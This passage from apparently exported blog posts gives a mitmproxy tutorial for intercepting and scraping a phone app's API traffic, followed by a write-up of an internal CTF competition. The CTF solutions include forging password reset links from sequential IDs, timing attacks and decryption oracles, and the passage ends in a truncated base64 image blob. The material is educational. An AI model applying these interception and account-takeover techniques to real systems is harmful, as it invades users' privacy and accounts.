and the phone uses the same WiFiMac’s IP address = “System Preferences” -> “Network” -> “Wi-Fi” -> “IP Address”Method (2) Mac uses a wired network, enables Internet Sharing; phone connects to the hotspot network:System Preferences -> Sharing -> Select “Ethernet” -> Check “Wi-Fi” -> Enable “Internet Sharing”Mac’s IP address = 192.168.2.1 (Note ⚠️ This is not the Ethernet IP, but the IP used by the Mac as a network sharing base station)Phone network settings WiFi — Proxy server informationSettings -> WiFi -> HTTP Proxy -> Manual -> Enter Mac’s IP address in Server -> Enter 8080 in Port -> Save At this point, it is normal for web pages not to open and for certificate errors to appear; let’s continue…Install mitmproxy custom https certificateAs mentioned above, the way a man-in-the-middle attack works is by using its own certificate to decrypt and encrypt data during communication; so we also need to install this custom certificate on the phone.1. Open http://mitm.it on the phone’s SafariLeft side appears -> Proxy settings ✅ / Right side appears -> Proxy settings error 🚫Apple -> Install Profile -> Install ⚠️ It’s not over yet, we need to enable the profile in the About sectionGeneral -> About -> Certificate Trust Settings -> Enable mitmproxyDone! Now we can go back to the browser and browse web pages normally.Back to Mac to operate mitmproxyYou can see the data transfer records from the phone on the mitmproxy TerminalFind the record you want to sniff and view the Request (what parameters were sent) / Response (what content was returned)Common operation keys:\" ? \" = View key operation documentation\" k \" / \"⬆\" = Up \" j \" / \"⬇\" = Down \" h \" / \"⬅\" = Left \" l \" / \"➡️\" = Right \" space \" = Next page\" enter \" = View details\" q \" = Go back to the previous page/exit\" b \" = Export response body to a specified path text file \" f \" = Filter records\" z \" = Clear all records\" e \" = Edit Request (cookie, headers, params...)\" r \" = Resend RequestNot comfortable with CLI? No worries, you can switch to Web GUI!Besides the mitmproxy activation method, we can change to:mitmwebto use the new Web GUI for operation and observation.mitmwebThe main event, sniffing APP data:After setting up and familiarizing yourself with the above environment, you can proceed to our main event; sniffing the data transmission content of the APP API! Here we use a certain real estate APP as an example, purely for academic exchange with no malicious intent! We want to know how the API for the object list is requested and what content is returned!First press “z” to clear all records (to avoid confusion)Open the target APPOpen the target APP and try “pull to refresh” or trigger the “load next page” action. 🛑If your target APP cannot be opened or connected; sorry, it means the APP has protection measures and cannot be sniffed using this method. Please scroll down to the section on how to protect it🛑mitmproxy recordsGo back to mitmproxy to check the records, use your detective skills to guess which API request record is the one we want and enter to view the details!RequestIn the Request section, you can see what parameters were passed in the request.With “e” to edit and “r” to resend, and observing the Response, you can guess the purpose of each parameter!ResponseThe Response section also directly provides the original returned content. 🛑If the Response content is a bunch of codes; sorry, it means the APP might have its own encryption and decryption, making it impossible to sniff using this method. Please scroll down to the section on how to protect it🛑Hard to read? Chinese garbled text? No problem, you can use “b” to export it as a text file to the desktop, then copy the content to Json Editor Online for parsing! Or directly use mitmweb to browse and operate using the web GUImitmwebAfter sniffing, observing, filtering, and testing, you can understand how the APP API works, and thus use it to scrape data. After collecting the required information, remember to turn off mitmproxy and change the mobile network proxy server back to automatic to use the internet normally.How should the APP protect itself?If after setting up mitmproxy, you find that the APP cannot be used or the returned content is encoded, it means the APP has protection.Method (1):Generally, it involves placing a copy of the certificate information in the APP. If the current HTTPS certificate does not match the information in the APP, access is denied. For details, you can see this or find related resources on SSL Pinning. The downside might be the need to pay attention to the certificate’s validity period!https://medium.com/@dzungnguyen.hcm/ios-ssl-pinning-bffd2ee9efcMethod (2):The APP encodes and encrypts the data before transmission. The API backend decrypts it to obtain the original request content. The API response is also encoded and encrypted before being sent back. The APP decrypts the received data to get the response content. This method is cumbersome and inefficient, but it is indeed a way to protect data. As far as I know, some digital banks use this method for protection!However…Method 1 still has a way to be cracked: How to Bypass SSL Pinning on iOS 12Method 2 can also be compromised through reverse engineering to obtain the encryption keys.⚠️There is no 100% security⚠️Or simply create a trap to collect evidence and solve it legally (?As always: “NEVER TRUST THE CLIENT”More uses of mitmproxy:1. Using mitmdumpBesides mitmproxy and mitmweb, mitmdump can directly export all records to a text file:mitmdump -w /log.txtYou can also use Method (2) with a Python script to set and filter traffic:mitmdump -ns examples/filter.py -r /log.txt -w /result.txt2. Use a Python script for request parameter settings, access control, and redirection:from mitmproxy import httpdef request(flow: http.HTTPFlow) -> None: # pretty_host takes the \"Host\" header of the request into account, # which is useful in transparent mode where we usually only have the IP # otherwise. # Request parameter setting Example: flow.request.headers['User-Agent'] = 'MitmProxy' if flow.request.pretty_host == \"123.com.tw\": flow.request.host = \"456.com.tw\" # Redirect all access from 123.com.tw to 456.com.twRedirection exampleWhen starting mitmproxy, add the parameter:mitmproxy -s /redirect.pyormitmweb -s /redirect.pyormitmdump -s /redirect.pyFilling a gapWhen using mitmproxy to observe requests using HTTP 1.1 and Accept-Ranges: bytes, Content-Range for long connection segment continuous resource fetching, it will wait until the entire response is received before displaying, rather than showing segments and using persistent connections to continue downloading!Details here.Further Reading Creating a Daily Auto Check-in Script with a Reward App How to Create an Interesting Engineering CTF Competition Revealing a Clever Website Vulnerability Discovered Years Ago iOS 15 / MacOS Monterey Safari Will Be Able to Hide Real IPPostscriptSince I don’t have domain permissions, I can’t obtain SSL certificate information, so I can’t implement it. The code doesn’t seem difficult, and although there’s no 100% secure method, adding an extra layer of protection can make it safer. Further attacks would require a lot of time to research, which should deter 90% of crawlers!This article might be a bit low in value. I’ve neglected Medium for a while (playing with a DSLR). Mainly, this is to warm up for iPlayground 2019 this weekend (2019/09/21–2019/09/22). Looking forward to this year’s sessions 🤩, and hope to produce more quality articles after returning! [Updated on 2019/02/22] What is the Experience of iPlayground 2019?If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "How to Create an Engaging Engineering CTF Competition", "url": "/posts/729d7b6817a4/", "categories": "ZRealm, Dev.", "tags": "capture-the-flag, ios-app-development, php, computer-science, wargame", "date": "2019-07-24 22:32:34 +0800", "snippet": "How to Create an Engaging Engineering CTF CompetitionBuilding and brainstorming for Capture The Flag competitionsAbout CTFCapture The Flag, abbreviated as CTF, is a game originating from the West, ...", "content": "How to Create an Engaging Engineering CTF CompetitionBuilding and brainstorming for Capture The Flag competitionsAbout CTFCapture The Flag, abbreviated as CTF, is a game originating from the West, commonly seen in paintball and first-person shooter games. The basic concept involves teams protecting their own flag while trying to capture the opponent’s flag. Applied to the field of computing, it becomes an “attack and defense” game where teams find and protect their vulnerabilities while attempting to exploit others to gain points.The above describes a standard or even “advanced” CTF competition. However, running a CTF competition within a company involves additional practical considerations: The purpose of holding a CTF competition is not only to enhance technical skills but also to promote interaction among engineers. Engineers have different specialties, such as Front-End, Back-End, APP, and DevOps. To encourage participation, the questions should not be too focused on a specific field (e.g., networking, PHP). Teams should be balanced in terms of strength and expertise. The event should last no more than an afternoon. Organizing a CTF competition is a side project outside of main job responsibilities, with limited resources and time.Considering these factors, rather than calling it a CTF competition, it is more like: A team-based puzzle-solving event to accumulate flag points and promote interaction among engineersThis is an introductory-level CTF competition!Event Goals Enhance technical skills Promote interaction among engineers Stimulate enthusiasm and sensitivity for exploration Fun, because doing boring things is painfulItems 3 and 4 are my personal additions. My expectation for this event is not just practical; I hope to enhance everyone’s enthusiasm for exploring and learning new things in a fun way, just like in daily work. We shouldn’t just be code monkeys but should strive for self-improvement and continuous progress!Competition Rules Engineers are divided into teams based on their specialties and strengths. Competition time: 90 minutes There are 12 questions in total, with 3 opportunities to buy hints at the cost of points. The cost of buying hints decreases over time (the earlier you buy, the more expensive). Each question has a base score + time score (the earlier you solve, the more points). Once a question is chosen, the team is locked into answering that question or any previously opened questions until it is solved or the lock time expires.(This rule is to encourage team members to brainstorm together rather than dividing tasks.) Each question’s score, hint cost, and lock time vary based on difficulty. Victory condition: The team with the highest accumulated score wins. If scores are tied, the team with the faster solving time wins. The winning team gets a prize.How to Create?After clarifying the event rules and goals, the next major task is how to create a CTF competition.This part will be explained in two chapters: First, building a system to conduct the CTF competition, and Second, brainstorming competition questions.1. Building a System to Conduct the CTF Competition This part requires knowledge of both front-end and back-end technologies. If you’re not familiar, you may need to ask colleagues for help.Front-end: Semantic UIBack-end: PHP + JSON files for data storageDue to limited time, the competition system should be simple, stable, and quick to set up. The front-end interface uses the Semantic UI framework. The back-end is written in PHP without using a framework, and data is stored in JSON files instead of a database. This simplicity reduces potential issues (e.g., someone trying to hack the competition system to get answers).Entry Page:To make it fun, the entry page uses a reference from the BBC series Sherlock:Phone unlock code S H E RThese four input boxes are for entering the team’s identification code (4 digits), e.g., Team 1: “1432”, Team 2: “8421”, to identify the team answering the questions.As for the identification codes for each group, I have added a little twist. The identification codes are presented as follows:Can you see the four-digit identification code? If not, please step back from the screen and take another look.…….…………………………………………………………………………………….………………………………….……………………………. .……………………….………………. .……………….. .Answer: The identification code for the first group is 8291After entering, you will be taken to the competition system homepage - the question list:Top display: Team 1 group, remaining hint ticketsMiddle question area: Question name, description, score for passing, lock time, purchase hints, hint displayHovering the mouse will show time score, hint priceBottom display: Total current scoreBackend and other logic: The question list page will use Ajax to request the current answering status from the backend every second. The backend reads and records the answering status in the JSON file for each group. When unlocking a question, the time will be recorded. If the time has not arrived, other questions cannot be unlocked. When a question is answered correctly, the completion time, time score, and hint price will be written. The hint price will increase or decrease depending on the time spent. The competition system is roughly like this, but the focus is not on the competition system, but on the questions themselves! Whether it is interesting, whether everyone can participate, whether it has logic, whether it is novel… it is really hard to come up withLet’s get to the point!2. The conception of competition questionsFirst, let me introduce the 5 questions I came up with1. The Gate to the Magic AcademyQuestion description: You will get a string of keys and need to find a way to use this key to solve the spell and enter it in the spell input box. There is a captcha field below that needs to be entered. Click verify to answer the question.Answer:This question tests security and encoding issues. It involves the use of encryption and decryption vulnerabilities in the platform. If all encryption and decryption on the website use the same method and key, we can use this weakness to decrypt the content and obtain the original data!You can see that the captcha part is ./image.php?token=AD0HbwdgVDw= which provides a decryption interface. So we can try to input the encrypted key above:You can get the decrypted string: LiveALifeYouWillRememberEnter it into the spell input box to pass!2. Please take me back to Shanghai in 1937!Question description: You need to find a way to input the year/month/day and send it to the backend, making the backend recognize it as 1937. The year input range (1947~2099) cannot directly input 1937.Answer:This question is not about bypassing the frontend judgment because the backend handles it, so it cannot be bypassed. This question mainly tests the Year 2038 problem on 32-bit computers. Due to the bit limit, the 32-bit timestamp can only display up to January 19, 2038, 03:14:07. After that, it will overflow back to January 1, 1901. Therefore, by calculating backward, inputting 2073-02-06 to 2074-02-05 will fall in 1937. Inputting a date within this range will be successfully sent!Wikipedia3. Catch Me If You CanProblem Description: You need to find a way to receive a password reset email for a third-party email account (one you cannot log into) and complete the password reset for someone else.Solution:This problem requires more sensitivity. First, use an email account you can receive emails with to request a password reset; the email we receive is as follows:Your password reset link: http://ctf.zhgchg.li/10/reset.php?requestid=OTk= If this is not related to you, please ignore this email, thank you!We can see that the password reset request is identified through the requestid parameter. The value we get is OTk=, which looks like base64? Let’s try it:base64 decode and encodeWe can get the value of the parameter as 99. Requesting a password reset again gives us 100, so we can infer that the password reset request is sequential. The next number is 101. At this point, go back to the email account you want to bypass and request a password reset. We can then forge a password reset link and secretly reset someone else’s password.Encode 101 to Base64 => MTAx, forge the URL: http://ctf.zhgchg.li/10/reset.php?requestid=MTAx, enter any password and click reset to pass!4. Alias MasterProblem Description: You need to generate 10 sets of Gmail accounts (Gmail hosted mailboxes) to receive the answer email.Solution:This problem can certainly be brute-forced, but company emails cannot be registered at will; unless you find 10 people to help you receive emails, you cannot solve it.The key to this problem is Gmail accounts/Gmail hosted mailboxes. Since company emails are Gmail hosted mailboxes, they also have the characteristics of Gmail accounts: you can use “.” and “+” to create unlimited alias accounts. “.” can be placed anywhere in the account, and “+” can be placed at the end followed by any number.For example, the main email is zhgchgli@gmail.com, but z.hgchgli@gmail.com, zh.gchgli@gmail, zhgchgli+1@gmail.com, zhgchgli+25@gmail.com… will all be sent to the main email zhgchgli@gmail.com. One email can create multiple identities!This problem mainly reminds everyone to filter out these characters when registering accounts to prevent malicious people from registering a large number of fake accounts.After receiving 10 emails, you can combine them to find the URL of the answer. Enter the URL to pass!5. Time MachineProblem Description: Similar to Problem 3, you need to find a way to receive a 4-digit SMS verification code for a third-party phone number (one you cannot receive SMS for) and complete the login for someone else’s account.Solution:This problem is relatively obscure and difficult, mainly simulating a side-channel timing attack. The system login verification includes complex algorithms, and there will be a time difference when processing verification information (for example, if you enter one correct digit, it takes longer to process. If all are wrong, it returns immediately). By observing these time differences, we start from 0000 and try one digit at a time. When we try 2000, it takes one second to process, so we know the first digit is 2. Continue trying 2100, still one second, 2200 takes even longer, two seconds… Continue trying the third and fourth digits, and finally, we get the answer 2256.This problem only simulates this type of attack. The backend processing directly uses sleep to simulate, not actually having complex algorithms. Generally, this type of attack is rarely encountered in web pages or apps; one reason is that the processing information is not complex enough to have a significant time difference, and another reason is the influence of network factors, making it difficult to judge.For more details on side-channel attacks, you can refer to this article:Understand CORB in 30 Minutes — Side-Channel Attacks The above are the 5 questions I came up with. Below, I will continue to introduce the remaining 7 questions provided by my colleagues.1. Sadako AppearanceSadako image sourced from the internetQuestion Description: The question is just a picture of Sadako. You need to enter what Sadako wants to say in the dialogue box above to pass.Answer:This question tests whether you know the concept of embedding other information in an image. The key lies in the original image:Sadako image sourced from the internetThis image has secretly compressed a text file inside it (for the actual method, please refer to: How To Hide A ZIP File Inside An Image On Mac [Quicktip], note the Win/Mac issue here).So we just need to simply unzip this image to get the passphrase:Enter “YOUHAVENOIDEA” in the input box to pass!Supplement:Regarding hiding information in images, there is another method, using “ Steganography”Steganography and Malware: Principles and MethodsIn simple terms, it hides information by manipulating the color values of pixel color codes. The actual image has changed, but the naked eye cannot distinguish it.This question also has hidden codes in the image to prevent people from going in this direction. Those who follow this path can get a hint:Steganography OnlineUpload the image to an online steganography decoding tool to get the hint.2. Caesar’s Morse CodeImage sourced from the internetQuestion Description: Try to decipher the meaning of the Morse code provided in the question (a sentence in English).Answer:This question is quite straightforward. The first step is to decode the Morse code into English letters “ VYYXI DN HT GDAZ “Morse Code TranslatorThen perform Caesar cipher decryption. When we try a shift of 5, we get a meaningful English sentence “ addcn is my life”, which is the answer!Caesar Cipher Decryption Tool3. What do you think it is?Opening this question’s webpage shows a bunch of garbled text, as follows:ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFtSUFBQUIrQ0FZQUFBQ0gzWDB2QUFBS3cybERRMUJKUTBNZ1VISnZabWxzWlFBQVNJbVZsd2RVazFrV3g5LzNwVGRhQWdKU1F1OUlyMUpDYUFHVVhtMkVKSkJRWWt3SUFuWmtjQVRHZ29vSWxnRWRCRkZ3TElDTUJiRmdZVkN3Z0hXQ0RBcktPRmdRRlpYOWdDWE03SjdkUFh0ejN2Zjl6ai8zM1hmdk8rL2wzQUJBSWJORm9uUllDWUFNWWFZNElzQ0hIaGVmUU1mMUF3akFnQUJvd0pMTmtZZ1lZV0VoQUxHWjk5L3R3MzNFRzdFN1ZwT3gvdjM3LzJyS1hKNkVBd0FVaG5BU1Y4TEpRUGdVTXQ1eVJPSk1BRkExaUc2d01sTTB5UjBJMDhSSWdnakxKamxsbXQ5UGN0SVVvL0ZUUGxFUlRJUzFBTUNUMld4eENnQmtVMFNuWjNGU2tEamtRSVJ0aEZ5QkVPRnNoRDA1ZkRZWDRXYUVMVE15bGsveTd3aWJKdjBsVHNyZllpYkpZN0xaS1hLZXJtWEs4TDRDaVNpZG5mTi9ic2YvdG94MDZjd2F4c2dnODhXQkVjaGJFOW16M3JUbHdYSVdKaTBNbldFQmQ4cC9pdm5Td09nWjVraVlDVFBNWmZzR3krZW1Md3laNFdTQlAwc2VKNU1WTmNNOGlWL2tESXVYUjhqWFNoWXpHVFBNRnMrdUswMkxsdXQ4SGtzZVA1Y2ZGVHZEV1lLWWhUTXNTWXNNbnZWaHluV3hORUtlUDA4WTRETzdycis4OWd6Slgrb1ZzT1J6TS9sUmdmTGEyYlA1ODRTTTJaaVNPSGx1WEo2djM2eFB0TnhmbE9ralgwdVVIaWIzNTZVSHlIVkpWcVI4YmlaeUlHZm5oc24zTUpVZEZEYkRJQVl3Z0IzeXNVY0dIVVFDSGhBREFmSkVhc25rWldkT0ZzUmNMc29SQzFMNG1YUUdjdE40ZEphUVkyMUp0N094ZFFWZzh0NU9INHQzdlZQM0VWTER6Mm81VzVCanJvQ0l3N05hckNFQXh3WUIwSGc5cXhrakdvMElRRk1FUnlyT210YlFrdzhNSUFKRjVQZEFBK2dBQTJBS3JKQXNuWUE3OEFaK0lBaUVnaWdRRDVZQ0R1Q0REQ1R2bFdBMTJBQUtRQkhZQm5hQmNuQUFIQVExNEJnNEFackFXWEFSWEFVM3dXMXdEendDTWpBQVhvRVI4QUdNUXhDRWd5Z1FGZEtBZENFanlBS3lnMXdnVDhnUENvRWlvSGdvRVVxQmhKQVVXZzF0aElxZ0VxZ2Nxb1Jxb1oraE05QkY2RHJVQlQyQStxQWg2QzMwR1ViQlpKZ0dhOFBHOER6WUJXYkF3WEFVdkFST2dWZkF1WEErdkFVdWc2dmdvM0FqZkJHK0NkK0RaZkFyZUJRRlVDU1VHa29QWllWeVFURlJvYWdFVkRKS2pGcUxLa1NWb3FwUTlhZ1dWRHZxRGtxR0drWjlRbVBSVkRRZGJZVjJSd2VpbzlFYzlBcjBXblF4dWh4ZGcyNUVYMGJmUWZlaFI5RGZNQlNNRnNZQzQ0WmhZZUl3S1ppVm1BSk1LYVlhY3hwekJYTVBNNEQ1Z01WaTFiQW1XR2RzSURZZW00cGRoUzNHN3NNMllGdXhYZGgrN0NnT2g5UEFXZUE4Y0tFNE5pNFRWNERiZ3p1S3U0RHJ4ZzNnUHVKSmVGMjhIZDRmbjRBWDR2UHdwZmdqK1BQNGJ2d0wvRGhCaVdCRWNDT0VFcmlFSE1KV3dpRkNDK0VXWVlBd1RsUW1taEE5aUZIRVZPSUdZaG14bm5pRitKajRqa1FpNlpOY1NlRWtBV2s5cVl4MG5IU04xRWY2UkZZaG01T1o1TVZrS1hrTCtUQzVsZnlBL0k1Q29SaFR2Q2tKbEV6S0Zrb3Q1UkxsS2VXakFsWEJXb0dsd0ZWWXAxQ2gwS2pRcmZCYWthQm9wTWhRWEtxWXExaXFlRkx4bHVLd0VrSEpXSW1weEZaYXExU2hkRWFwUjJsVW1hcHNxeHlxbktGY3JIeEUrYnJ5b0FwT3hWakZUNFdya3E5eVVPV1NTajhWUlRXZ01xa2M2a2JxSWVvVjZnQU5Tek9oc1dpcHRDTGFNVm9uYlVSVlJkVkJOVVkxVzdWQzlaeXFUQTJsWnF6R1VrdFgyNnAyUXUyKzJ1YzUybk1ZYzNoek5zK3BuOU05WjB4OXJycTNPays5VUwxQi9aNzZadzI2aHA5R21zWjJqU2FOSjVwb1RYUE5jTTJWbXZzMXIyZ096NlhOZFovTG1WczQ5OFRjaDFxd2xybFdoTllxcllOYUhWcWoyanJhQWRvaTdUM2FsN1NIZGRSMHZIVlNkWGJxbk5jWjBxWHFldW9LZEhmcVh0QjlTVmVsTStqcDlETDZaZnFJbnBaZW9KNVVyMUt2VTI5YzMwUS9XajlQdjBIL2lRSFJ3TVVnMldDblFadkJpS0d1NFFMRDFZWjFoZytOQ0VZdVJueWozVWJ0Um1QR0pzYXh4cHVNbTR3SFRkUk5XQ2E1Sm5VbWowMHBwbDZtSzB5clRPK2FZYzFjek5MTTlwbmROb2ZOSGMzNTVoWG10eXhnQ3ljTGdjVStpeTVMaktXcnBkQ3l5ckxIaW16RnNNcXlxclBxczFhekRySE9zMjZ5ZmozUGNGN0N2TzN6MnVkOXMzRzBTYmM1WlBQSVZzVTJ5RGJQdHNYMnJaMjVIY2V1d3U2dVBjWGUzMzZkZmJQOUd3Y0xCNTdEZm9kZVI2cmpBc2ROam0yT1g1MmNuY1JPOVU1RHpvYk9pYzU3blh0Y2FDNWhMc1V1MTF3eHJqNnU2MXpQdW41eWMzTExkRHZoOXFlN2xYdWEreEgzd2ZrbTgzbnpEODN2OTlEM1lIdFVlc2c4Nlo2Sm5qOTZ5cnowdk5oZVZWN1B2QTI4dWQ3VjNpOFlab3hVeGxIR2F4OGJIN0hQYVo4eHBodHpEYlBWRitVYjRGdm8yK21uNGhmdFYrNzMxRi9mUDhXL3puOGt3REZnVlVCcklDWXdPSEI3WUE5TG04VmgxYkpHZ3B5RDFnUmREaVlIUndhWEJ6OExNUThSaDdRc2dCY0VMZGl4NFBGQ280WENoVTJoSUpRVnVpUDBTWmhKMklxd1g4S3g0V0hoRmVIUEkyd2pWa2UwUjFJamwwVWVpZndRNVJPMU5lcFJ0R20wTkxvdFJqRm1jVXh0ekZpc2IyeEpyQ3h1WHR5YXVKdnhtdkdDK09ZRVhFSk1RblhDNkNLL1Jic1dEU3gyWEZ5dytQNFNreVhaUzY0djFWeWF2dlRjTXNWbDdHVW5FekdKc1lsSEVyK3dROWxWN05Fa1Z0TGVwQkVPazdPYjg0cnJ6ZDNKSGVKNThFcDRMNUk5a2t1U0IxTThVbmFrRFBHOStLWDhZUUZUVUM1NGt4cVllaUIxTEMwMDdYRGFSSHBzZWtNR1BpTXg0NHhRUlpnbXZMeGNaM24yOGk2UmhhaEFKRnZodG1MWGloRnhzTGhhQWttV1NKb3phVWlEMUNFMWxYNG43Y3Z5ektySStyZ3ladVhKYk9Wc1lYWkhqbm5PNXB3WHVmNjVQNjFDcitLc2FsdXR0M3JENnI0MWpEV1ZhNkcxU1d2YjFobXN5MTgzc0Q1Z2ZjMEc0b2EwRGIvbTJlU1Y1TDNmR0x1eEpWODdmMzErLzNjQjM5VVZLQlNJQzNvMnVXODY4RDM2ZThIM25adnROKy9aL0syUVczaWp5S2FvdE9oTE1hZjR4ZysyUDVUOU1MRWxlVXZuVnFldCs3ZGh0d20zM2QvdXRiMm1STGtrdDZSL3g0SWRqVHZwT3d0M3Z0KzFiTmYxVW9mU0E3dUp1Nlc3WldVaFpjMTdEUGRzMi9PbG5GOStyOEtub21HdjF0N05lOGYyY2ZkMTcvZmVYMzlBKzBEUmdjOC9DbjdzclF5b2JLd3lyaW85aUQyWWRmRDVvWmhEN1QrNS9GUmJyVmxkVlAzMXNQQ3dyQ2FpNW5LdGMyM3RFYTBqVyt2Z09tbmQwTkhGUjI4Zjh6M1dYRzlWWDltZzFsQjBIQnlYSG4vNWMrTFA5MDhFbjJnNzZYS3kvcFRScWIybnFhY0xHNkhHbk1hUkpuNlRyRG0rdWV0TTBKbTJGdmVXMDc5WS8zTDRyTjdaaW5PcTU3YWVKNTdQUHo5eElmZkNhS3VvZGZoaXlzWCt0bVZ0ank3RlhicDdPZnh5NTVYZ0s5ZXUrbCs5MU01b3YzRE40OXJaNjI3WHo5eHd1ZEYwMCtsbVk0ZGp4K2xmSFg4OTNlblUyWGpMK1ZiemJkZmJMVjN6dTg1M2UzVmZ2T043NStwZDF0MmI5eGJlNjdvZmZiKzNaM0dQckpmYk8vZ2cvY0diaDFrUHh4K3RmNHg1WFBoRTZVbnBVNjJuVmIrWi9kWWdjNUtkNi9QdDYzZ1crZXhSUDZmLzFlK1MzNzhNNUQrblBDOTlvZnVpZHRCdThPeVEvOUR0bDR0ZURyd1N2Um9mTHZoRCtZKzlyMDFmbi9yVCs4K09rYmlSZ1RmaU54TnZpOTlwdkR2ODN1RjkyMmpZNk5NUEdSL0d4d28vYW55cytlVHlxZjF6N09jWDR5dS80TDZVZlRYNzJ2SXQrTnZqaVl5SkNSRmJ6SjVxQlZESWdKT1RBWGg3R0FCS1BBRFUyd0FRRjAzMzFWTUdUZjhYbUNMd24zaTY5NTR5SndDcXZRR0liZ1VnY0QwQUZaTTlDTUlxeUFoRDlDaHZBTnZieThjL1RaSnNiemNkaTlTRXRDYWxFeFB2a0I0U1p3YkExNTZKaWZHbWlZbXYxVWl5RHdGby9URGR6MDlhQXRJMzV4bE9VZ2VURC83Vi9nSENLaEdyVlRxbk1nQUFBWjFwVkZoMFdFMU1PbU52YlM1aFpHOWlaUzU0YlhBQUFBQUFBRHg0T25odGNHMWxkR0VnZUcxc2JuTTZlRDBpWVdSdlltVTZibk02YldWMFlTOGlJSGc2ZUcxd2RHczlJbGhOVUNCRGIzSmxJRFV1TkM0d0lqNEtJQ0FnUEhKa1pqcFNSRVlnZUcxc2JuTTZjbVJtUFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMekF5THpJeUxYSmtaaTF6ZVc1MFlYZ3Ribk1qSWo0S0lDQWdJQ0FnUEhKa1pqcEVaWE5qY21sd2RHbHZiaUJ5WkdZNllXSnZkWFE5SWlJS0lDQWdJQ0FnSUNBZ0lDQWdlRzFzYm5NNlpYaHBaajBpYUhSMGNEb3ZMMjV6TG1Ga2IySmxMbU52YlM5bGVHbG1MekV1TUM4aVBnb2dJQ0FnSUNBZ0lDQThaWGhwWmpwUWFYaGxiRmhFYVcxbGJuTnBiMjQrTmpFd1BDOWxlR2xtT2xCcGVHVnNXRVJwYldWdWMybHZiajRLSUNBZ0lDQWdJQ0FnUEdWNGFXWTZVR2w0Wld4WlJHbHRaVzV6YVc5dVBqRXlOand2WlhocFpqcFFhWGhsYkZsRWFXMWxibk5wYjI0K0NpQWdJQ0FnSUR3dmNtUm1Pa1JsYzJOeWFYQjBhVzl1UGdvZ0lDQThMM0prWmpwU1JFWStDand2ZURwNGJYQnRaWFJoUGdvZmZnckVBQUFyTVVsRVFWUjRBZTJkQ2R5VTQvckhyeFNINGsyaTBxYkZhYU9pQlpFVWh6YUpOcVc5Y0p5c2xUWmJqaVBhYkVjTDdTa3ErU2RhQ0tVT0twV2lva1hrRUZvVUxRaWwvL1ViNXozbjlacG03bnZtMmVkM2ZUN3ptZmVkdWVaZXZzOHo4MXpQZlY5TG5rcVZ5eDhSQ2dtUUFBbVFBQW1RQUFtUWdPY0Vqdkc4UjNaSUFpUkFBaVJBQWlSQUFpUVFJMEJEakNjQ0NaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdSb2lQa0VudDJTQUFtUUFBbVFBQW1RQUEweG5nTWtRQUlrUUFJa1FBSWs0Qk1CR21JK2dXZTNKRUFDSkVBQ0pFQUNKRUJEak9jQUNaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdUeStkUXZ1NDBZZ1JiWFhDUDE2dFZMT3F1ZmZ2cEorZzhZSUVlT0hFbXFTd1VTSUFFU0lBRVNpRG9CR21KUlA4SWV6YTlHalJwU3YzNTlvOTd1dnVjZU9YVG9rSkV1bFVpQUJFaUFCRWdneWdSb2lFWDU2SEp1SkVBQ0pFQUNrU1Z3ekRISFNMR2lSYVZrcVZKU3NrUUpLWGI2NlhKaWdRS1NYeDhGOHVlWC9QbzQvT3V2c20vZlB0bXZqOWp6L3YyeVYvLys5Tk5QWmRPbVRid3BEc0RaRVJsRHJFS0ZDbkxTU1NjWklYMy8vZmZsOE9IRFJycTVsY3FVS1NPRkN4Zk8vWExjLy9mdTNTdGJ0bXlKKzU2YkwyWmxaY21mLy94bjR5N1M0V0hjU1lZcEZpcFVTTXFWSytmcXJIL1ZIMWlzTEg3MzNYZXlaODhlK2Y3NzcxM3RMeXlOWTNVMlQ1NDhWc1BGOXhUZlY0cjdCUExseXlmVnExYzM3bWl6R2d2N0R4d3cxbmRDOGF5enpwTGpqei9lcUtsdDI3YkpqaDA3akhUVFVjTHZldVhLbGFXS1BpcFhxU0lWOVpwWHZIaHhPZmJZWTFOdUZxNGlIMjNZSUdzLytFQStXTHRXbGk1ZEtnY1BIa3k1dlV6NG9CdTJSaVFNc1pOUFBsa21UNW9rSjV4d2d0RjUwTEpWSy9ua2swK01kSE1yRFg3NFlhbFVxVkx1bCtQK3YyUG5UbW5Zc0dIYzk5eDhFZjVhZDl4eGgzRVhYYnAyRlJoakZPY0lkR2pmWHJwMzcrNWNnd1l0NFVkMTkrN2RzbHVOc3AxNlljQVA2NW8xYTJTRC90Qm15bGJ3MVZkZkxmY1BIR2hBNi9jcUkwZU9sTEhqeHYzK1JmN25Db0Z6enoxWHhvNFpZOXoyc0dIRDVObm5ualBXVDFjUlJ2eXpVNmNhTnpOMzdseTU1OTU3amZWTkZYRWpWN05tVGFtcE54WlZxMVdURW1wME9TMS8rdE9mNU54enpvazkwUForWFMyYk0yZU96SGorZWZuM3YvL3RkSGVoYjg4dFd5TVNobGk3dG0yTmpiQlZxMWFsYklTRi9pemlCQ0pOQUQrcXVFUEdRODQrV3k2NzdMTFlmSEdIdTI3OWVzRzVQM3YyYkUvdTN2MEFqWlhxWGoxNyt0RTEreVNCdEFtY2Nzb3BzUnYzV21wOHdWakYvMTRMZHBXdXUrNDZhZGV1blN4ZnZsd202Z0xIaWhVcnZCNUdZUHR6eTlZSXZTR0dWYkMyYW9pWnl1VEprMDFWcVVjQ2tTQ0FMWmJhdFdyRkhqZmVjSU1zV3JSSXBrMmZMcXRYcjQ3RS9MSW4wYmRQSDhIMkRZVUV3a2lnZHUzYTBxOXYzMEFNSGF1Q2RlclVpVDMrYjlZc2VlU1JSK1NISDM0SXhOajhHb1NidGtibzg0aGhHNjVnd1lKR3h3YU9pVys5L2JhUkxwVklJSW9FOHViTks1ZGZmcmxNR0Q5ZXBxc3hocTJQS01qRkYxL3NpeHRBRk5oeERpU1FpRURMRmkxazVzeVpzUnU1UkhwUmY4OU5XeVBVaGhpY1BqdDI3R2g4L0o5NTVobGpYU3FTUU5RSlZLcFlNZWFyQTM5Q2ZKZkNLcmhUdlV0ejAxR